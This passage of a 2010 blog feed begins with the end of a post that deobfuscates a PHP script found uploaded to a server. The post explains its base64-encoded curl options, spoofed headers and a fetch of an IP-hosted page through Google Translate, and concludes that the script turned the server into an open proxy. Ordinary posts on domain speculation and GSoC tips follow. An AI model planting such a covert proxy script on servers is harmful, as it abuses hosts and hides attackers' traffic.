class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;52&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;aTowOw==&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// i:0;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;19914&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czoxOiIxIjs=&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;64&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czoxOiIwIjs=&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;81&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czoxOiIwIjs=&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;10023&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;/* a:9:{i:0;s:11:&amp;quot;Accept: */&lt;/span&gt;*&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:1;s:22:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;Accept&lt;/span&gt;-&lt;span class=&quot;constant&quot;&gt;Language&lt;/span&gt;: en-us&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:2;s:22:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;Connection&lt;/span&gt;: keep-alive&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:3;s:120:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;User&lt;/span&gt;-&lt;span class=&quot;constant&quot;&gt;Agent&lt;/span&gt;: &lt;span class=&quot;constant&quot;&gt;Mozilla&lt;/span&gt;/&lt;span class=&quot;float&quot;&gt;4.0&lt;/span&gt; (compatible; &lt;span class=&quot;constant&quot;&gt;MSIE&lt;/span&gt; &lt;span class=&quot;float&quot;&gt;7.0&lt;/span&gt;; &lt;span class=&quot;constant&quot;&gt;Windows&lt;/span&gt; &lt;span class=&quot;constant&quot;&gt;NT&lt;/span&gt; &lt;span class=&quot;float&quot;&gt;5.1&lt;/span&gt;; &lt;span class=&quot;constant&quot;&gt;AT&lt;/span&gt;&amp;amp;amp;&lt;span class=&quot;constant&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;constant&quot;&gt;CSM7&lt;/span&gt;&lt;span class=&quot;float&quot;&gt;.0&lt;/span&gt;; &lt;span class=&quot;constant&quot;&gt;YPC&lt;/span&gt; &lt;span class=&quot;float&quot;&gt;3.2&lt;/span&gt;&lt;span class=&quot;float&quot;&gt;.0&lt;/span&gt;; .&lt;span class=&quot;constant&quot;&gt;NET&lt;/span&gt; &lt;span class=&quot;constant&quot;&gt;CLR&lt;/span&gt; &lt;span class=&quot;float&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;float&quot;&gt;.4322&lt;/span&gt;; yplus &lt;span class=&quot;float&quot;&gt;5.1&lt;/span&gt;&lt;span class=&quot;float&quot;&gt;.04&lt;/span&gt;b)&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:4;s:8:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;Expect&lt;/span&gt;: &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:5;s:17:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;Accept&lt;/span&gt;-&lt;span class=&quot;constant&quot;&gt;Encoding&lt;/span&gt;: &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:6;s:15:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;Keep&lt;/span&gt;-&lt;span class=&quot;constant&quot;&gt;Alive&lt;/span&gt;: &lt;span class=&quot;integer&quot;&gt;115&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:7;s:8:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;Cookie&lt;/span&gt;: &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;;i:8;s:149:&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;constant&quot;&gt;Referer&lt;/span&gt;: http:&lt;span class=&quot;comment&quot;&gt;//translate.google.com/translate?hl=en&amp;amp;amp;sl=en&amp;amp;amp;tl=fr&amp;amp;amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html&amp;quot;;} */&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;10102&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czowOiIiOw==&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:0:&amp;quot;&amp;quot;;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;47&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;aTowOw==&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// i:0;&lt;/span&gt; curl_setopt(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;, &lt;span class=&quot;integer&quot;&gt;10002&lt;/span&gt;, &lt;span class=&quot;predefined&quot;&gt;unserialize&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;base64_decode&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;))); &lt;span class=&quot;comment&quot;&gt;// s:140:&amp;quot;http://translate.google.com/translate?hl=en&amp;amp;amp;sl=en&amp;amp;amp;tl=fr&amp;amp;amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html&amp;quot;;&lt;/span&gt; &lt;span class=&quot;local-variable&quot;&gt;$response&lt;/span&gt;=curl_exec(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;); &lt;span class=&quot;local-variable&quot;&gt;$md5_error&lt;/span&gt;=&lt;span class=&quot;predefined&quot;&gt;md5&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;);&lt;span class=&quot;local-variable&quot;&gt;$md5_content&lt;/span&gt;=&lt;span class=&quot;predefined&quot;&gt;md5&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;);&lt;span class=&quot;local-variable&quot;&gt;$md5_info&lt;/span&gt;=&lt;span class=&quot;predefined&quot;&gt;md5&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;); &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;is_bool&lt;/span&gt;(&lt;span class=&quot;local-variable&quot;&gt;$response&lt;/span&gt;) &lt;span class=&quot;keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;local-variable&quot;&gt;$response&lt;/span&gt; == &lt;span class=&quot;predefined-constant&quot;&gt;false&lt;/span&gt;) { &lt;span class=&quot;predefined&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;&amp;amp;lt;&lt;/span&gt;&lt;span class=&quot;local-variable&quot;&gt;$md5_error&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;.curl_errno(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;).&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;.curl_error(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;).&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;; &lt;span class=&quot;predefined&quot;&gt;exit&lt;/span&gt;; } &lt;span class=&quot;predefined&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;&amp;amp;lt;&lt;/span&gt;&lt;span class=&quot;local-variable&quot;&gt;$md5_info&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;predefined&quot;&gt;serialize&lt;/span&gt;(curl_getinfo(&lt;span class=&quot;local-variable&quot;&gt;$cr&lt;/span&gt;)).&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;; &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;function_exists&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;gzdeflate&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;) &lt;span class=&quot;keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;predefined&quot;&gt;base64_encode&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;gzdeflate&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;md5&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;),&lt;span class=&quot;integer&quot;&gt;9&lt;/span&gt;))==&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA==&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;){ &lt;span class=&quot;local-variable&quot;&gt;$response&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;GZIP|&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;predefined&quot;&gt;base64_encode&lt;/span&gt;(&lt;span class=&quot;predefined&quot;&gt;gzdeflate&lt;/span&gt;(&lt;span class=&quot;local-variable&quot;&gt;$response&lt;/span&gt;,&lt;span class=&quot;integer&quot;&gt;9&lt;/span&gt;)); } &lt;span class=&quot;predefined&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;&amp;amp;lt;&lt;/span&gt;&lt;span class=&quot;local-variable&quot;&gt;$md5_content&lt;/span&gt;&lt;span class=&quot;content&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span class=&quot;local-variable&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;delimiter&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;; &lt;span class=&quot;predefined&quot;&gt;exit&lt;/span&gt;; &lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/table&gt; &lt;/div&gt; &lt;p&gt;The definition of the curl_setopt call is as follows:&lt;/p&gt; &lt;p&gt;&lt;code&gt;bool curl_setopt ( resource $ch , int $option , mixed $value )&lt;/code&gt;&lt;/p&gt; &lt;p&gt;Let’s break down all of the Curl options we are setting here. Even the &lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;curl_setopt&lt;/a&gt; calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Option 13 (&lt;strong&gt;CURLOPT_TIMEOUT&lt;/strong&gt; =&amp;gt; 15): Sets the timeout for the Curl request to 15 seconds.&lt;/li&gt; &lt;li&gt;Option 19913 (&lt;strong&gt;CURLOPT_RETURNTRANSFER&lt;/strong&gt; =&amp;gt; “1”): Returns the value of &lt;a href=&quot;http://www.php.net/manual/en/function.curl-exec.php&quot;&gt;curl_exec&lt;/a&gt; as a string.&lt;/li&gt; &lt;li&gt;Option 42 (&lt;strong&gt;CURLOPT_HEADER&lt;/strong&gt; =&amp;gt; “1”): Includes the header in the output.&lt;/li&gt; &lt;li&gt;Option 53 (&lt;strong&gt;CURLOPT_TRANSFERTEXT&lt;/strong&gt; =&amp;gt; “1”): Uses ASCII mode for FTP transfers.&lt;/li&gt; &lt;li&gt;Option 52 (&lt;strong&gt;CURLOPT_FOLLOWLOCATION&lt;/strong&gt; =&amp;gt; 0): Does not follow ‘Location:’ header fields.&lt;/li&gt; &lt;li&gt;Option 19914 (&lt;strong&gt;CURLOPT_BINARYTRANSFER&lt;/strong&gt; =&amp;gt; “1”): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)&lt;/li&gt; &lt;li&gt;Option 64 (&lt;strong&gt;CURLOPT_SSL_VERIFYPEER&lt;/strong&gt; =&amp;gt; “1”):Verifiesthe site’s SSL certificate to be valid.&lt;/li&gt; &lt;li&gt;Option 81 (&lt;strong&gt;CURLOPT_SSL_VERIFYHOST&lt;/strong&gt; =&amp;gt; “1”): Verifies the correct SSL hostname for the certificate.&lt;/li&gt; &lt;li&gt;Option 10023 (&lt;strong&gt;CURLOPT_HTTPHEADER&lt;/strong&gt;): Sets the HTTP header sent as follows: &lt;ul&gt; &lt;li&gt;“Accept: &lt;em&gt;/&lt;/em&gt;”: Specifies that all media is acceptable for response from the HTTP request&lt;/li&gt; &lt;li&gt;“Accept-Language: en-us”: Specifies that we are looking for an English return.&lt;/li&gt; &lt;li&gt;“Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).&lt;/li&gt; &lt;li&gt;“User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&amp;amp;T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent&lt;/li&gt; &lt;li&gt;“Expect: “: Indicates that no behavior is required by the client.&lt;/li&gt; &lt;li&gt;“Accept-Encoding: “: Indicates that we accept all encoding.&lt;/li&gt; &lt;li&gt;“Keep Alive: 115”: Sets a keep-alive timeout of 115.&lt;/li&gt; &lt;li&gt;“Referer: Sets a seemingly bogus referer, although this may be legit in some cases.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;Option 10102 (&lt;strong&gt;CURLOPT_ENCODING&lt;/strong&gt; =&amp;gt; “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.&lt;/li&gt; &lt;li&gt;Option 47 (&lt;strong&gt;CURLOPT_POST&lt;/strong&gt; =&amp;gt; 0): We are not doing a HTTP post.&lt;/li&gt; &lt;li&gt;Option 10002 (&lt;strong&gt;CURLOPT_URL&lt;/strong&gt;): Sets the URL to fetch.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language. In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.&lt;/p&gt; &lt;p&gt;I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;References and Attributions:&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;PHP: curl_setopt&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616.html&quot;&gt;RFC2616: Hypertext Transfer Protocol – HTTP/1.1&lt;/a&gt;&lt;/li&gt; &lt;li&gt;Chomped computer image at the top of the article is from the &lt;a href=&quot;http://tango.freedesktop.org/&quot;&gt;Tango&lt;/a&gt; project, modified by &lt;a href=&quot;http://commons.wikimedia.org/wiki/User:Slady&quot;&gt;slady&lt;/a&gt;. Licensed under the &lt;a href=&quot;http://creativecommons.org/&quot;&gt;Creative Commons&lt;/a&gt;-BY-SA-2.5 License.&lt;/li&gt; &lt;/ol&gt; </description> <pubDate>Tue, 13 Jul 2010 08:20:33 -0500</pubDate> <link>http://alanp.ca/blog/2010/07/13/unobfuscating-an-attack/</link> <guid isPermaLink="true">http://alanp.ca/blog/2010/07/13/unobfuscating-an-attack/</guid> <category>php</category> <category>obfuscated</category> <category>hack</category> <category>hacker</category> <category>curl</category> <category>sysadmin</category> <category>Software</category> <category>System Administration</category> </item> <item> <title>Double Dipping into Domaining</title> <description>&lt;p&gt;When I first read &lt;a href=&quot;http://ianab.com/log/&quot;&gt;Andrew Badr&lt;/a&gt;’s post on his &lt;a href=&quot;http://ianab.com/log/1/my-dip-into-domaining/&quot;&gt;tests with domain squatting^W speculation&lt;/a&gt;, I was immediately interested in the methods that he used. Having checked out &lt;a href=&quot;http://www.namepros.com/&quot;&gt;multiple&lt;/a&gt;&lt;a href=&quot;http://www.snapnames.com/&quot;&gt;domain&lt;/a&gt;&lt;a href=&quot;http://www.dnforum.com/&quot;&gt;speculation&lt;/a&gt; websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.&lt;/p&gt; &lt;p&gt;Coincidentally, I have been reading up on Python lately and have become pretty interested in the language. For my first script implementation, I decided to explore the 4,4 space in English word .com domains. I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://ianab.com/log/&quot;&gt;Andrew&lt;/a&gt; used a method that included some manual work, which I wanted to avoid. I quickly found an English dictionary online and used the grep pattern “^….$” which would work fine for my simple case. I ended up with 3903 4-letter English words. This space (3903^2) was far too large to start sending queries out, and also too large to manually edit. What to do?&lt;/p&gt; &lt;p&gt;I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was. After inserting each word and it’s relevance into a simple &lt;a href=&quot;http://www.mysql.com/?bydis_dis_index=1&quot;&gt;MySQL&lt;/a&gt; table, I was ready to begin hammering away to see what was available for registration.&lt;/p&gt; &lt;p&gt;Once I had this data, I stored a reference to each word and the combined relevance of the prefix andsuffixin another table of the database. According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.&lt;/p&gt; &lt;p&gt;The results are pretty interesting, with many (what I would consider) top-term .com domains available. Here are some of my favorites quickly off of the file (inb4registration):&lt;/p&gt; &lt;ul&gt; &lt;li&gt;thisholy.com&lt;/li&gt; &lt;li&gt;thatecho.com&lt;/li&gt; &lt;li&gt;homehide.com&lt;/li&gt; &lt;li&gt;homemeet.com&lt;/li&gt; &lt;li&gt;havethem.com&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Can we do better? Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix. Tomorrow I will try using this information as a factor to my current heuristics. I think the most major improvement possible would be to distribute these requests over a few different boxes (it’s definitely MapReduceable). If you have any methods for improvement, I would like to hear them as well. Leave a note in the comments section.&lt;/p&gt; &lt;p&gt;If there’s any interest, I will post my full list (it’s hosted on my home computer). There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.&lt;/p&gt; </description> <pubDate>Fri, 04 Jun 2010 00:33:44 -0500</pubDate> <link>http://alanp.ca/blog/2010/06/04/double-dipping-into-domaining/</link> <guid isPermaLink="true">http://alanp.ca/blog/2010/06/04/double-dipping-into-domaining/</guid> <category>Software</category> </item> <item> <title>How To Get Accepted Into Google Summer Of Code (GSoC)</title> <description>&lt;p&gt;There have been various discussions in both the GSoC mailing list and official IRC channel regarding improving your chances of getting into GSoC. Since the 2009 process has already finished, I have these suggestions for 2010 students and beyond:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Be active in the community.&lt;/li&gt; &lt;li&gt;Write a good proposal, submit it early.&lt;/li&gt; &lt;li&gt;Subscribe to your update notifications for your proposal.&lt;/li&gt; &lt;li&gt;Update your proposal.&lt;/li&gt; &lt;li&gt;Be active in the community.&lt;/li&gt; &lt;li&gt;Submit Patches.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Let’s break these criteria down further:&lt;/p&gt; &lt;p&gt;1) Be active in the community.&lt;/p&gt; &lt;p&gt;Originally I had “Write a good proposal” first, but I decided to change it in favor of community involvement. This is the single most important aspect of getting into Summer of Code. I would recommend /join-ing the IRC channel and subscribing to the mailing lists of all of the projects that you are interested in working on. Forming an early bond with the community is something that will set you ahead in the competition with your peers. It is also important to note that these mentors will sometimes drop hints on which proposals are more important – and thus more likely to be accepted.&lt;/p&gt; &lt;p&gt;2) Write a good proposal, submit it early.&lt;/p&gt; &lt;p&gt;Your proposal is used to spread your idea throughout the entire project that you are applying to. All of the mentors and administrators of the organization will be reviewing your application and giving it a score based on how well you have done and how viable your project is. Each organization will require different criteria for your proposal, but it is always a good idea to include the following:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Summary&lt;/li&gt; &lt;li&gt;What I Plan To Do&lt;/li&gt; &lt;li&gt;Why This is Important&lt;/li&gt; &lt;li&gt;Time line - Detailed&lt;/li&gt; &lt;li&gt;Deliverable&lt;/li&gt; &lt;li&gt;Maintenance&lt;/li&gt; &lt;li&gt;Availability&lt;/li&gt; &lt;li&gt;Contingency Plan&lt;/li&gt; &lt;li&gt;Myself&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;If you cover all of these sections 